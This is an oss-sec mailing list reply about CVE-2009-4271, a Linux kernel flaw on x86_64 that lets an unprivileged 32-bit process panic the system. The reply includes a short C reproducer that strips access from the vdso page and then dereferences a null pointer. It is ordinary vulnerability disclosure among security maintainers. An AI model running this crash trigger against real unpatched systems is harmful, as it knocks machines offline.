
oss-sec mailing list archives
Re: CVE-2009-4271 kernel: 32bit process on 64bit system DoS
From: Marcus Meissner <meissner () suse de>
Date: Wed, 17 Mar 2010 15:07:59 +0100
On Wed, Mar 17, 2010 at 09:01:19AM +0800, Eugene Teo wrote:
STMicroelectronics reported a flaw in the Linux kernel, versions 2.6.9 to 2.6.17, when running on x86_64, where a user could use a regular 32bit process to trigger a kernel panic, without any special privileges. The bug occurs when a 32bit user process triggers a segfault (i.e. de-reference a null-pointer) after having performed a mprotect() to restrict any rwx access on its VDSO page. This only affects Red Hat Enterprise Linux 4. https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2009-4271
Would this be a valid reproducer? : #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> int main(){ FILE *f; char line[256]; void *x,*y; f = fopen("/proc/self/maps","r"); if (!f) exit(1); x=y=NULL; while (fgets(line,sizeof(line),f)) { if (strstr(line,"vdso")) { sscanf(line,"%p-%p ",&x,&y); fprintf(stderr,"vdso %x\n", x); break; } } if (!x) exit(1); mprotect(x,4096, PROT_NONE); *(char*)NULL = NULL; } Ciao, Marcus
Current thread:
- CVE-2009-4271 kernel: 32bit process on 64bit system DoS Eugene Teo (Mar 16)
- Re: CVE-2009-4271 kernel: 32bit process on 64bit system DoS Marcus Meissner (Mar 17)